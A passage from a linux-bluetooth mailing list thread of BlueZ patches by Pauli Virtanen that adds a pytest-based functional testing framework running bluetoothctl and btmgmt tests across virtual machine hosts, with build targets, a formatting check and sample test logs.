+ host0.agent.device_method(host1.bdaddr, "Pair")
+
+ confirm_0 = host0.agent.expect("org.bluez.Agent1.RequestConfirmation")
+ confirm_1 = host1.agent.expect("org.bluez.Agent1.RequestConfirmation")
+ assert confirm_0.passkey == confirm_1.passkey
+ host0.agent.reply()
+
+ if success:
+ host1.agent.reply()
+ host0.agent.expect("org.bluez.Device1.Pair:reply")
+ else:
+ host1.agent.reply_error()
+ host0.agent.expect("org.bluez.Device1.Pair:error")
--
2.54.0
^ permalink raw reply related
* [PATCH BlueZ v6 4/6] test: functional: impose Python code formatting
From: Pauli Virtanen @ 2026-06-13 15:48 UTC (permalink / raw)
To: linux-bluetooth; +Cc: Pauli Virtanen
In-Reply-To: <cover.1781365708.git.pav@iki.fi>
Check Python code formatting of the functional test suite.
---
test/functional/test_tests.py | 23 +++++++++++++++++++++++
1 file changed, 23 insertions(+)
create mode 100644 test/functional/test_tests.py
diff --git a/test/functional/test_tests.py b/test/functional/test_tests.py
new file mode 100644
index 000000000..561b04703
--- /dev/null
+++ b/test/functional/test_tests.py
@@ -0,0 +1,23 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
+"""
+Tests for the test suite itself
+"""
+import sys
+import subprocess
+import warnings
+from pathlib import Path
+
+import pytest
+
+
+def test_formatting():
+ pytest.importorskip("black")
+
+ result = subprocess.run(
+ [sys.executable, "-mblack", "--check", "--diff", "-q", Path(__file__).parent],
+ stdout=subprocess.PIPE,
+ encoding="utf-8",
+ )
+ if result.returncode != 0:
+ warnings.warn(f"Formatting incorrect:\n{result.stdout}")
--
2.54.0
^ permalink raw reply related
* [PATCH BlueZ v6 3/6] build: add functional testing target
From: Pauli Virtanen @ 2026-06-13 15:48 UTC (permalink / raw)
To: linux-bluetooth; +Cc: Pauli Virtanen
In-Reply-To: <cover.1781365708.git.pav@iki.fi>
This adds check-functional: target that runs the functional test suite.
Also add a --enable-functional-testing=<kernel-image> argument for
configure that can be used to include it in the check: make target,
possibly with a predefined kernel image.
---
Makefile.am | 10 ++++++++++
configure.ac | 22 ++++++++++++++++++++++
2 files changed, 32 insertions(+)
diff --git a/Makefile.am b/Makefile.am
index 76c4ab5d4..7920cae68 100644
--- a/Makefile.am
+++ b/Makefile.am
@@ -812,6 +812,16 @@ endif
TESTS = $(unit_tests)
AM_TESTS_ENVIRONMENT = MALLOC_CHECK_=3 MALLOC_PERTURB_=69
+check-functional: all
+ python3 -m pytest "$(srcdir)/test/functional" -v \
+ --kernel="$(FUNCTIONAL_TESTING_KERNEL)" \
+ --bluez-build-dir="$(top_builddir)" \
+ --bluez-src-dir="$(srcdir)"
+
+if FUNCTIONAL_TESTING
+check: check-functional
+endif
+
if DBUS_RUN_SESSION
AM_TESTS_ENVIRONMENT += dbus-run-session --
endif
diff --git a/configure.ac b/configure.ac
index 1cdd551f6..f50d8c9b3 100644
--- a/configure.ac
+++ b/configure.ac
@@ -407,6 +407,28 @@ if (test "${enable_testing}" = "yes"); then
#include <linux/net_tstamp.h>]])
fi
+AC_ARG_ENABLE(functional-testing, AS_HELP_STRING([--enable-functional-testing],
+ [enable functional testing tools]),
+ [enable_functional_testing=yes; functional_testing_kernel=${enableval}],
+ [enable_functional_testing=no])
+AM_CONDITIONAL(FUNCTIONAL_TESTING, test "${enable_functional_testing}" = "yes")
+AC_ARG_VAR(FUNCTIONAL_TESTING_KERNEL, [vmlinux image to use for functional testing])
+FUNCTIONAL_TESTING_KERNEL=${functional_testing_kernel}
+
+if (test "${enable_functional_testing}" = "yes"); then
+ if (test "${enable_client}" = "no" || \
+ test "${enable_tools}" != "yes" || \
+ test "${enable_testing}" != "yes"); then
+ AC_MSG_ERROR([--enable-functional-testing requires --enable-client --enable-tools --enable-testing])
+ fi
+ AC_MSG_CHECKING([pytest and dependencies])
+ python3 -m pip install --dry-run --no-index -r "${srcdir}/test/functional/requirements.txt" >/dev/null
+ if (test "$?" != "0"); then
+ AC_MSG_ERROR([pytest or dependencies missing])
+ fi
+ AC_MSG_RESULT([ok])
+fi
+
AC_ARG_ENABLE(experimental, AS_HELP_STRING([--enable-experimental],
[enable experimental tools]),
[enable_experimental=${enableval}])
--
2.54.0
^ permalink raw reply related
* [PATCH BlueZ v6 2/6] test: add functional/integration testing framework
From: Pauli Virtanen @ 2026-06-13 15:48 UTC (permalink / raw)
To: linux-bluetooth; +Cc: Pauli Virtanen
In-Reply-To: <cover.1781365708.git.pav@iki.fi>
Add framework for writing tests simulating "real" environments where
BlueZ and other parts of the stack run on different virtual machine
hosts that communicate with each other.
Add some smoke tests for bluetoothctl and btmgmt.
The implementation for the VM setup is maintained separately in the
pytest-bluezenv plugin, https://pypi.org/project/pytest-bluezenv
Implements:
- RPC communication with tester instances running each of the VM hosts,
so that tests can be written on the parent host which coordinates the
execution.
- Extensible way to add stateful test-specific code inside the VM
instances
- Logging control: output from different processes running inside the VM
are separated and can be filtered.
- Test runner framework with Pytest, factored into a pytest plugin
- Grouping tests to minimize VM reboots
- Redirecting USB controllers to use for testing
There is no requirement that the tests spawn VM instances.
---
test/functional/__init__.py | 2 +
test/functional/conftest.py | 48 ++++++++
test/functional/requirements.txt | 2 +
test/functional/test_bluetoothctl_vm.py | 152 ++++++++++++++++++++++++
test/functional/test_btmgmt_vm.py | 30 +++++
test/pytest.ini | 17 +++
test/test-functional | 21 ++++
test/test-functional-attach | 7 ++
8 files changed, 279 insertions(+)
create mode 100644 test/functional/__init__.py
create mode 100644 test/functional/conftest.py
create mode 100644 test/functional/requirements.txt
create mode 100644 test/functional/test_bluetoothctl_vm.py
create mode 100644 test/functional/test_btmgmt_vm.py
create mode 100644 test/pytest.ini
create mode 100755 test/test-functional
create mode 100755 test/test-functional-attach
diff --git a/test/functional/__init__.py b/test/functional/__init__.py
new file mode 100644
index 000000000..fe1c85178
--- /dev/null
+++ b/test/functional/__init__.py
@@ -0,0 +1,2 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
diff --git a/test/functional/conftest.py b/test/functional/conftest.py
new file mode 100644
index 000000000..196afa08d
--- /dev/null
+++ b/test/functional/conftest.py
@@ -0,0 +1,48 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
+import os
+import re
+from pathlib import Path
+
+
+def pytest_addoption(parser):
+ parser.addoption(
+ "--list",
+ action="store_true",
+ default=None,
+ help=("List tests"),
+ )
+
+
+def pytest_configure(config):
+ if config.option.list:
+ config.option.reportchars = "A"
+ config.option.no_header = True
+ config.option.verbose = -2
+
+
+COLLECT_ERRORS = []
+
+
+def pytest_collectreport(report):
+ if report.outcome != "passed":
+ COLLECT_ERRORS.append((report.outcome, report.fspath))
+
+
+def pytest_collection_finish(session):
+ if session.config.option.list:
+ cwd = Path(".").resolve()
+ root = session.config.rootpath.absolute()
+
+ regex = re.compile(r"\[.*")
+ names = set(
+ (root.joinpath(item.location[0]), regex.sub("", item.location[2]))
+ for item in session.items
+ )
+
+ for path, name in sorted(names):
+ print(f"{path.resolve().relative_to(cwd, walk_up=True)}::{name}")
+ for outcome, name in COLLECT_ERRORS:
+ print(f"{outcome.upper()} {name}")
+ print()
+ os._exit(0)
diff --git a/test/functional/requirements.txt b/test/functional/requirements.txt
new file mode 100644
index 000000000..cd66e74a8
--- /dev/null
+++ b/test/functional/requirements.txt
@@ -0,0 +1,2 @@
+pytest>=8
+pytest-bluezenv==0.1.6
diff --git a/test/functional/test_bluetoothctl_vm.py b/test/functional/test_bluetoothctl_vm.py
new file mode 100644
index 000000000..0ba75e9a9
--- /dev/null
+++ b/test/functional/test_bluetoothctl_vm.py
@@ -0,0 +1,152 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
+"""
+Tests for bluetoothctl using VM instances
+"""
+import sys
+import re
+import pytest
+import subprocess
+import tempfile
+import warnings
+
+import time
+import logging
+
+
+from pytest_bluezenv import host_config, find_exe, run, Bluetoothd, Bluetoothctl
+
+pytestmark = [pytest.mark.vm]
+
+bluetoothctl = find_exe("client", "bluetoothctl")
+
+bluetoothd_reuse_config = host_config([Bluetoothd()], reuse=True)
+
+
+@host_config(
+ [Bluetoothctl()],
+ [Bluetoothctl()],
+)
+def test_bluetoothctl_pair_bredr(hosts):
+ host0, host1 = hosts
+
+ host0.bluetoothctl.send("scan on\n")
+ host0.bluetoothctl.expect(f"Controller {host0.bdaddr.upper()} Discovering: yes")
+
+ host1.bluetoothctl.send("pairable on\n")
+ host1.bluetoothctl.expect("Changing pairable on succeeded")
+ host1.bluetoothctl.send("discoverable on\n")
+ host1.bluetoothctl.expect(f"Controller {host1.bdaddr.upper()} Discoverable: yes")
+
+ host0.bluetoothctl.expect(f"Device {host1.bdaddr.upper()}")
+ host0.bluetoothctl.send(f"pair {host1.bdaddr}\n")
+
+ idx, m = host0.bluetoothctl.expect(r"Confirm passkey (\d+).*:")
+ key = m[0].decode("utf-8")
+
+ host1.bluetoothctl.expect(f"Confirm passkey {key}")
+
+ host0.bluetoothctl.send("yes\n")
+ host1.bluetoothctl.send("yes\n")
+
+ host0.bluetoothctl.expect("Pairing successful")
+
+
+@host_config(
+ [Bluetoothd(conf="[General]\nControllerMode = le\n"), Bluetoothctl()],
+ [Bluetoothd(conf="[General]\nControllerMode = le\n"), Bluetoothctl()],
+)
+def test_bluetoothctl_pair_le(hosts):
+ host0, host1 = hosts
+
+ host0.bluetoothctl.send("scan on\n")
+ host0.bluetoothctl.expect(f"Controller {host0.bdaddr.upper()} Discovering: yes")
+
+ host1.bluetoothctl.send("advertise on\n")
+ host1.bluetoothctl.expect("Advertising object registered")
+
+ host0.bluetoothctl.expect(f"Device {host1.bdaddr.upper()}")
+ host0.bluetoothctl.send(f"pair {host1.bdaddr.upper()}\n")
+
+ # BUG!: if controller is power cycled off/on at boot (before bluetoothd)
+ # BUG!: which is what the tester here does,
+ # BUG!: bluetoothd MGMT command to enable Secure Connections Host Support
+ # BUG!: fails and we are left with legacy passkey. It seems we get randomly
+ # BUG!: one of these depending on what state controller/kernel were before
+ # BUG!: btmgmt power off/on
+
+ idx, m = host0.bluetoothctl.expect(
+ [r"\[agent\].*Passkey:.*m(\d+)", r"Confirm passkey (\d+).*:"]
+ )
+ key = m[0].decode("utf-8")
+
+ if idx == 0:
+ warnings.warn(
+ "BUG: we got passkey authentication, bluetoothd/kernel should be fixed"
+ )
+ host1.bluetoothctl.expect(r"\[agent\] Enter passkey \(number in 0-999999\):")
+ host1.bluetoothctl.send(f"{key}\n")
+ else:
+ host1.bluetoothctl.expect(f"Confirm passkey {key}")
+
+ host0.bluetoothctl.send("yes\n")
+ host1.bluetoothctl.send("yes\n")
+
+ host0.bluetoothctl.expect("Pairing successful")
+
+
+def run_bluetoothctl(*args):
+ return run(
+ [bluetoothctl] + list(args),
+ stdout=subprocess.PIPE,
+ stdin=subprocess.DEVNULL,
+ encoding="utf-8",
+ )
+
+
+def run_bluetoothctl_script(script):
+ with tempfile.NamedTemporaryFile(mode="w", encoding="utf-8") as f:
+ f.write(script)
+ f.write("\nquit")
+ f.flush()
+ return run_bluetoothctl("--init-script", f.name)
+
+
+@bluetoothd_reuse_config
+def test_bluetoothctl_show(hosts):
+ (host,) = hosts
+
+ result = host.call(run_bluetoothctl, f"show")
+ assert result.returncode == 0
+ assert f"Controller {host.bdaddr.upper()}" in result.stdout
+ assert "Powered: " in result.stdout
+ assert "Discoverable: no" in result.stdout
+
+
+@bluetoothd_reuse_config
+def test_bluetoothctl_list(hosts):
+ (host,) = hosts
+
+ result = host.call(run_bluetoothctl, "list")
+ assert result.returncode == 0
+ assert re.search(rf"{host.bdaddr.upper()}.*\[default\]", result.stdout)
+
+
+@bluetoothd_reuse_config
+def test_bluetoothctl_script_show(hosts):
+ (host,) = hosts
+
+ result = host.call(run_bluetoothctl_script, f"show")
+ assert result.returncode == 0
+ assert f"Controller {host.bdaddr.upper()}" in result.stdout
+ assert "Powered: " in result.stdout
+ assert "Discoverable: no" in result.stdout
+
+
+@bluetoothd_reuse_config
+def test_bluetoothctl_script_list(hosts):
+ (host,) = hosts
+
+ result = host.call(run_bluetoothctl_script, f"list")
+ assert result.returncode == 0
+ assert re.search(rf"{host.bdaddr.upper()}.*\[default\]", result.stdout)
diff --git a/test/functional/test_btmgmt_vm.py b/test/functional/test_btmgmt_vm.py
new file mode 100644
index 000000000..3d11d7616
--- /dev/null
+++ b/test/functional/test_btmgmt_vm.py
@@ -0,0 +1,30 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
+"""
+Tests for btmgmt using VM instances
+"""
+import sys
+import pytest
+import subprocess
+import tempfile
+
+from pytest_bluezenv import host_config, find_exe, run
+
+pytestmark = [pytest.mark.vm]
+
+btmgmt = find_exe("tools", "btmgmt")
+
+
+@host_config([])
+def test_btmgmt_info(hosts):
+ (host,) = hosts
+
+ result = host.call(
+ run,
+ [btmgmt, "--index", "0", "info"],
+ stdout=subprocess.PIPE,
+ stdin=subprocess.DEVNULL,
+ encoding="utf-8",
+ )
+ assert result.returncode == 0
+ assert f"addr {host.bdaddr.upper()}" in result.stdout
diff --git a/test/pytest.ini b/test/pytest.ini
new file mode 100644
index 000000000..0d4e48d69
--- /dev/null
+++ b/test/pytest.ini
@@ -0,0 +1,17 @@
+[pytest]
+log_format = %(asctime)s %(levelname)-6s %(name)-20s: %(message)s
+log_date_format = %Y-%m-%d %H:%M:%S.%f
+log_level = 0
+log_file = test-functional.log
+markers =
+ vm: tests requiring VM image
+
+addopts =
+ -p pytest_bluezenv
+
+# Default timeout
+vm_timeout = 30
+
+# Default sources for kernel-build when requested
+kernel_upstream = https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/
+kernel_branch = master
diff --git a/test/test-functional b/test/test-functional
new file mode 100755
index 000000000..95f5c57e9
--- /dev/null
+++ b/test/test-functional
@@ -0,0 +1,21 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+#
+# See doc/test-functional.rst
+#
+TESTDIR="$(dirname "$0")"
+SRCDIR="$TESTDIR/.."
+
+BUILDDIR=
+for d in "$SRCDIR" "$SRCDIR/build" "$SRCDIR/builddir"; do
+ if [ -f "$d/src/bluetoothd" ]; then
+ BUILDDIR="$d"
+ break
+ fi
+done
+
+if [ -n "$BUILDDIR" ] && [ -d "$BUILDDIR" ]; then
+ exec python3 -m pytest "$TESTDIR/functional" --bluez-src-dir "$SRCDIR" --bluez-build-dir "$BUILDDIR" "$@"
+else
+ exec python3 -m pytest "$TESTDIR/functional" --bluez-src-dir "$SRCDIR" "$@"
+fi
diff --git a/test/test-functional-attach b/test/test-functional-attach
new file mode 100755
index 000000000..6e65464f7
--- /dev/null
+++ b/test/test-functional-attach
@@ -0,0 +1,7 @@
+#!/bin/sh
+#
+# test-functional-attach
+#
+# Start Tmux and connect to active test-functional VM hosts.
+#
+exec python3 -mpytest_bluezenv attach "$@"
--
2.54.0
^ permalink raw reply related
* [PATCH BlueZ v6 0/6] Functional/integration testing
From: Pauli Virtanen @ 2026-06-13 15:48 UTC (permalink / raw)
To: linux-bluetooth; +Cc: Pauli Virtanen
Add framework for writing tests simulating "real" environments where
BlueZ and other parts of the stack run on different virtual machine
hosts that communicate with each other.
*** v6 ***
* Fix minor issues in documentation and shellcheck warnings.
* Bump to latest pytest-bluezenv==0.1.6
* NOTE: hci_uart is partly broken in current bluetooth-next / 7.1 kernel,
which causes some of the tests here fail sporadically. Needs the following patch:
https://lore.kernel.org/linux-bluetooth/6888691461070a011d31632e6dcbfd73016dcc6e.1781364475.git.pav@iki.fi/
*** v5 ***
https://github.com/pv/bluez/compare/func-test-v4-r..func-test-v5
* Factor out the pytest-bluezenv plugin, to be maintained separately.
https://pypi.org/project/pytest-bluezenv/
It could in principle be moved under the BlueZ organization, but
there's no particular reason why it should be in bluez repository.
Generally, it's better to have the pytest plugin separate so it's
easier to reuse and can have its own version cycle.
* Pipewire tests are moved to pipewire repository where they probably
belong to.
They can be run easily vs. given BlueZ build dir.
We are currently running them in Pipewire CI, but at frozen
kernel/BlueZ version, so it is not testing BlueZ/kernel upstream
development.
* No changes in the emulator/test-runner patches since v4
They are stand-alone bug fixes / improvements, and make sense
also separately from the rest.
*** v4 ***
https://github.com/pv/bluez/compare/func-test-v3-r..func-test-v4
* Use virtconsole for simpler HCI forwarding to the vm
* Fix typoed vm_module -> vm_once
* Skip tests for some pipewire versions
*** v3 ***
https://github.com/pv/bluez/compare/func-test-v2-r..func-test-v3
* fix configure.ac openpty() detection to match TOOLS conditional,
to fix make distcheck
* properly retry virtio RPC connection if it fails initially
* properly restart VM if previous test hangs
* allow custom parent host side proxy objects, use them for pexpect
* improve --list with out-of-tree test files
* fix missing bus.set_exit_on_disconnect(False) for obex tests
* have --vm-timeout etc. change values also on VM host side
* use larger-memory VM instances for Pipewire, in case ASAN enabled
* set reasonable inside-VM ASAN_OPTION default values
* don't run btvirt under stdbuf, since not compatible with ASAN
*** v2 ***
https://github.com/pv/bluez/compare/func-test-v1-r..func-test-v2
* move unit/func_test -> test/functional & test/pytest_bluez
The pytest_bluez plugin is in principle reusable for other projects,
so we can eg. have more complete Pipewire integration tests that can
live in Pipewire repository.
* openpty() is in -lutil on some platforms, detect this in autoconf
* more emulator adjustments:
- fix SCO data packet support in btvirt
- more complete Reset command
* improve logging: get timestamps from kernel, and reorder logs
to timestamp order, so that lines from different hosts, btmon,
and parent tester appear in right order regardless of whether
VM console / btmon is lagging
- this requires accurate clock sync in the VM, so enable KVM PTP in
config and run chronyd inside the VMs
- use virtio port instead of qemu console to export logs, since the
console has fixed baud rate and is too slow
* add --btmon & export btsnoop dumps from VM hosts
* fix compatibility with older Python versions
* add parametrized_host_config()
* split Pipewire test to A2DP/BAP/HFP and really stream audio.
These catch the 5.86 regression fixed in 066a164a524e498 and
the 5.84 one in 6b0a08776a
* add support for tests that reuse tester environment, so they can run
faster without needing Bluetoothd teardown/setup in between
* add HostPlugin.presetup (mainly for test skipping)
* deal with RPC virtio port buffer possibly containing unflushed
commands from previous failed test
* add some Agent1 interface tests
* add basic Obex file transfer tests
* add support for logging in to a running test instance (for gdb etc)
* export any core dumps out from test environ
Some bells & whistles:
* add --kernel-build for kernel image build
* test suite Python code formatting checks
***
Implements:
- RPC communication with tester instances running each of the VM hosts.
Tests run on parent host, which instructs VM hosts what to do.
- Extensible way to add stateful test-specific code inside the VM
instances
- Logging control: output from different processes running inside the VM
are separated and can be filtered.
- Test runner framework with Pytest (more convenient than Python/unittest)
- Automatic grouping of tests to minimize VM reboots
- Redirecting USB controllers to use for testing in addition to btvirt
- Fairly straightforward, ~1600 sloc for the framework
There is no requirement that the tests spawn VM instances, the test
runner can be used for any tests written in Python.
See doc/test-functional.rst for various examples.
Also test/functional/test_bluetoothctl_vm.py has some simple cases, and
test/functional/test_pipewire.py for a more complicated setup
host0(qemu): Pipewire <-> BlueZ <-> kernel
<-> btvirt
host1(qemu): kernel <-> BlueZ <-> Pipewire
The framework allows easily passing any data and code between the parent
and VM hosts, so writing tests is straightforward.
***
Some examples:
$ test/test-functional --list
test/functional/lib/tests/test_rpc.py::test_basic
test/functional/test_bluetoothctl_vm.py::test_bluetoothctl_pair[hosts0-vm2]
test/functional/test_bluetoothctl_vm.py::test_bluetoothctl_script_show[hosts1-vm1]
test/functional/test_btmgmt_vm.py::test_btmgmt_info[hosts2-vm1]
test/functional/test_pipewire.py::test_pipewire[hosts3-vm2]
$ test/test-functional --kernel=../linux
============================= test session starts ==============================
platform linux -- Python 3.14.3, pytest-8.3.5, pluggy-1.6.0
rootdir: /home/pauli/prj/external/bluez/unit
configfile: pytest.ini
plugins: cov-5.0.0, forked-1.6.0, rerunfailures-15.0, timeout-2.4.0, xdist-3.7.0, hypothesis-6.123.0, flaky-3.8.1, anyio-4.12.1
collected 5 items
test/functional/lib/tests/test_rpc.py . [ 20%]
test/functional/test_bluetoothctl_vm.py . [ 40%]
test/functional/test_btmgmt_vm.py . [ 60%]
test/functional/test_bluetoothctl_vm.py . [ 80%]
test/functional/test_pipewire.py . [100%]
============================== 5 passed in 41.92s ==============================
$ test/test-functional --kernel=../linux -k test_btmgmt
============================= test session starts ==============================
platform linux -- Python 3.14.3, pytest-8.3.5, pluggy-1.6.0
rootdir: /home/pauli/prj/external/bluez/unit
configfile: pytest.ini
plugins: cov-5.0.0, forked-1.6.0, rerunfailures-15.0, timeout-2.4.0, xdist-3.7.0, hypothesis-6.123.0, flaky-3.8.1, anyio-4.12.1
collected 5 items / 4 deselected / 1 selected
test/functional/test_btmgmt_vm.py . [100%]
======================= 1 passed, 4 deselected in 9.15s ========================
$ grep btmgmt test-functional.log
13:15:42 INFO rpc.host.0.0 : client: call_plugin ('call', '__call__', <function run at 0x7f27b81ce140>, ['/home/pauli/prj/external/bluez/build/tools/btmgmt', '--index', '0', 'info']) {'stdout': -1, 'stdin': -3, 'encoding': 'utf-8'}
13:15:42 INFO host.0.0.rpc : server: call_plugin ('call', '__call__', <function run at 0x7fd5e35a1010>, ['/home/pauli/prj/external/bluez/build/tools/btmgmt', '--index', '0', 'info']) {'stdout': -1, 'stdin': -3, 'encoding': 'utf-8'}
13:15:42 INFO host.0.0.run : $ /home/pauli/prj/external/bluez/build/tools/btmgmt --index 0 info
$ test/test-functional --kernel=../linux -k test_btmgmt --log-cli-level=0
============================= test session starts ==============================
platform linux -- Python 3.14.3, pytest-8.3.5, pluggy-1.6.0
rootdir: /home/pauli/prj/external/bluez/unit
configfile: pytest.ini
plugins: cov-5.0.0, forked-1.6.0, rerunfailures-15.0, timeout-2.4.0, xdist-3.7.0, hypothesis-6.123.0, flaky-3.8.1, anyio-4.12.1
collected 5 items / 4 deselected / 1 selected
test/functional/test_btmgmt_vm.py::test_btmgmt_info[hosts2-vm1]
-------------------------------- live log setup --------------------------------
13:00:31 INFO func_test.lib.env : Starting btvirt: /usr/bin/stdbuf -o L -e L /home/pauli/prj/external/bluez/build/emulator/btvirt --server=/tmp/bluez-func-test-8t6ychy8
13:00:31 OUT btvirt : Bluetooth emulator ver 5.86
13:00:31 INFO func_test.lib.env : Starting host: /home/pauli/prj/external/bluez/build/tools/test-runner --kernel=../linux/arch/x86/boot/bzImage -u/tmp/bluez-func-test-8t6ychy8/bt-server-bredrle -o -chardev -o socket,id=ser0,path=/tmp/bluez-func-test-8t6ychy8/bluez-func-test-rpc-0,server=on,wait=off -o -device -o virtio-serial -o -device -o virtserialport,chardev=ser0,name=bluez-func-test-rpc -H -- /usr/bin/python3 -P /home/pauli/prj/external/bluez/test/functional/lib/runner.py /dev/ttyS2
13:00:31 OUT btvirt : Request for /tmp/bluez-func-test-8t6ychy8/bt-server-bredrle
13:00:32 OUT host.0.0 : early console in extract_kernel
13:00:32 OUT host.0.0 : input_data: 0x000000000425c2c4
...
13:00:39 INFO rpc.host.0.0 : client: call_plugin ('call', '__call__', <function run at 0x7f7547472140>, ['/home/pauli/prj/external/bluez/build/tools/btmgmt', '--index', '0', 'info']) {'stdout': -1, 'stdin': -3, 'encoding': 'utf-8'}
13:00:39 DEBUG host.0.0.rpc : server: done
13:00:39 INFO host.0.0.rpc : server: call_plugin ('call', '__call__', <function run at 0x7f77dcc81010>, ['/home/pauli/prj/external/bluez/build/tools/btmgmt', '--index', '0', 'info']) {'stdout': -1, 'stdin': -3, 'encoding': 'utf-8'}
13:00:39 INFO host.0.0.run : $ /home/pauli/prj/external/bluez/build/tools/btmgmt --index 0 info
13:00:40 OUT host.0.0.run.out : hci0: Primary controller
13:00:40 OUT host.0.0.run.out : addr 00:AA:01:00:00:42 version 11 manufacturer 1521 class 0x000000
13:00:40 OUT host.0.0.run.out : supported settings: powered connectable fast-connectable discoverable bondable link-security ssp br/edr le advertising secure-conn debug-keys privacy static-addr phy-configuration cis-central cis-peripheral iso-broadcaster sync-receiver ll-privacy past-sender past-receiver
13:00:40 OUT host.0.0.run.out : current settings: br/edr
13:00:40 OUT host.0.0.run.out : name
13:00:40 OUT host.0.0.run.out : short name
13:00:40 INFO host.0.0.run : (return code 0)
13:00:40 DEBUG rpc.host.0.0 : client-reply
PASSED [100%]
13:00:40 OUT host.0.0 : qemu-system-x86_64: terminating on signal 15 from pid 149047 (python3)
======================= 1 passed, 4 deselected in 8.84s ========================
$ test/test-functional --kernel=../linux -k test_bluetoothctl_pair --log-cli-level=0 --log-filter=*.bluetoothctl,rpc.* --force-usb
============================= test session starts ==============================
platform linux -- Python 3.14.3, pytest-8.3.5, pluggy-1.6.0
rootdir: /home/pauli/prj/external/bluez/unit
configfile: pytest.ini
plugins: cov-5.0.0, forked-1.6.0, rerunfailures-15.0, timeout-2.4.0, xdist-3.7.0, hypothesis-6.123.0, flaky-3.8.1, anyio-4.12.1
collected 5 items / 4 deselected / 1 selected
test/functional/test_bluetoothctl_vm.py::test_bluetoothctl_pair[hosts0-vm2]
-------------------------------- live log setup --------------------------------
13:03:20 INFO rpc.host.0.0 : client: start_load (<func_test.lib.host_plugins.Bdaddr object at 0x7f268712d160>,) {}
13:03:20 INFO rpc.host.0.0 : client: start_load (<func_test.lib.host_plugins.Call object at 0x7f268712d2b0>,) {}
13:03:20 INFO rpc.host.0.0 : client: start_load (<func_test.lib.host_plugins.DbusSystem object at 0x7f2687aa30e0>,) {}
13:03:20 INFO rpc.host.0.0 : client: start_load (<func_test.lib.host_plugins.Bluetoothd object at 0x7f2687aa3230>,) {}
13:03:20 INFO rpc.host.0.0 : client: start_load (<func_test.lib.host_plugins.Bluetoothctl object at 0x7f268712d010>,) {}
13:03:20 INFO rpc.host.0.1 : client: start_load (<func_test.lib.host_plugins.Bdaddr object at 0x7f26871542d0>,) {}
13:03:20 INFO rpc.host.0.1 : client: start_load (<func_test.lib.host_plugins.Call object at 0x7f2687154410>,) {}
13:03:20 INFO rpc.host.0.1 : client: start_load (<func_test.lib.host_plugins.DbusSystem object at 0x7f2687aa30e0>,) {}
13:03:20 INFO rpc.host.0.1 : client: start_load (<func_test.lib.host_plugins.Bluetoothd object at 0x7f2687aa3230>,) {}
13:03:20 INFO rpc.host.0.1 : client: start_load (<func_test.lib.host_plugins.Bluetoothctl object at 0x7f2687154190>,) {}
13:03:20 INFO rpc.host.0.0 : client: wait_load () {}
13:03:21 DEBUG rpc.host.0.0 : client-reply
13:03:21 INFO rpc.host.0.1 : client: wait_load () {}
13:03:21 DEBUG rpc.host.0.1 : client-reply
-------------------------------- live log call ---------------------------------
13:03:21 INFO rpc.host.0.0 : client: call_plugin ('bluetoothctl', 'send', 'show\n') {}
13:03:21 DEBUG rpc.host.0.0 : client-reply
13:03:21 INFO rpc.host.0.0 : client: call_plugin ('bluetoothctl', 'expect', 'Powered: yes') {}
...
13:03:23 INFO rpc.host.0.0 : client: call_plugin ('bluetoothctl', 'send', 'pair 70:1a:b8:73:99:bb\n') {}
13:03:23 OUT host.0.0.bluetoothctl: pair 70:1a:b8:73:99:bb
13:03:23 DEBUG rpc.host.0.0 : client-reply
13:03:23 INFO rpc.host.0.0 : client: call_plugin ('bluetoothctl', 'expect', 'Confirm passkey (\\d+).*:') {}
13:03:23 OUT host.0.0.bluetoothctl: [bluetoothctl]> pair 70:1a:b8:73:99:bb
13:03:23 OUT host.0.0.bluetoothctl: Attempting to pair with 70:1A:B8:73:99:BB
13:03:23 OUT host.0.0.bluetoothctl: [bluetoothctl]> hci0 device_flags_changed: 70:1A:B8:73:99:BB (BR/EDR)
13:03:23 OUT host.0.0.bluetoothctl: [bluetoothctl]> supp: 0x00000007 curr: 0x00000000
13:03:23 OUT host.0.0.bluetoothctl: [bluetoothctl]> hci0 type 7 discovering off
13:03:25 OUT host.0.0.bluetoothctl: [bluetoothctl]> hci0 70:1A:B8:73:99:BB type BR/EDR connected eir_len 12
13:03:25 OUT host.0.0.bluetoothctl: [bluetoothctl]> [BlueZ 5.86]> [CHG] Device 70:1A:B8:73:99:BB Connected: yes
13:03:25 OUT host.0.0.bluetoothctl: [BlueZ 5.86]> Request confirmation
13:03:25 DEBUG rpc.host.0.0 : client-reply
13:03:25 INFO rpc.host.0.1 : client: call_plugin ('bluetoothctl', 'expect', 'Confirm passkey 237345') {}
13:03:25 OUT host.0.1.bluetoothctl: [bluetoothctl]> hci0 84:5C:F3:77:31:19 type BR/EDR connected eir_len 12
13:03:25 OUT host.0.1.bluetoothctl: [bluetoothctl]> [NEW] Device 84:5C:F3:77:31:19 BlueZ 5.86
13:03:25 DEBUG rpc.host.0.1 : client-reply
13:03:25 INFO rpc.host.0.0 : client: call_plugin ('bluetoothctl', 'send', 'yes\n') {}
13:03:25 OUT host.0.1.bluetoothctl: [bluetoothctl]> [BlueZ 5.86]> Request confirmation
13:03:25 OUT host.0.0.bluetoothctl: [BlueZ 5.86]> [agent] Confirm passkey 237345 (yes/no): yes
13:03:25 DEBUG rpc.host.0.0 : client-reply
13:03:25 INFO rpc.host.0.1 : client: call_plugin ('bluetoothctl', 'send', 'yes\n') {}
13:03:25 OUT host.0.1.bluetoothctl: [BlueZ 5.86]> [agent] Confirm passkey 237345 (yes/no): yes
13:03:25 DEBUG rpc.host.0.1 : client-reply
13:03:25 INFO rpc.host.0.0 : client: call_plugin ('bluetoothctl', 'expect', 'Pairing successful') {}
13:03:25 OUT host.0.0.bluetoothctl: yes
13:03:25 OUT host.0.0.bluetoothctl: [BlueZ 5.86]> hci0 new_link_key 70:1A:B8:73:99:BB type 0x08 pin_len 0 store_hint 1
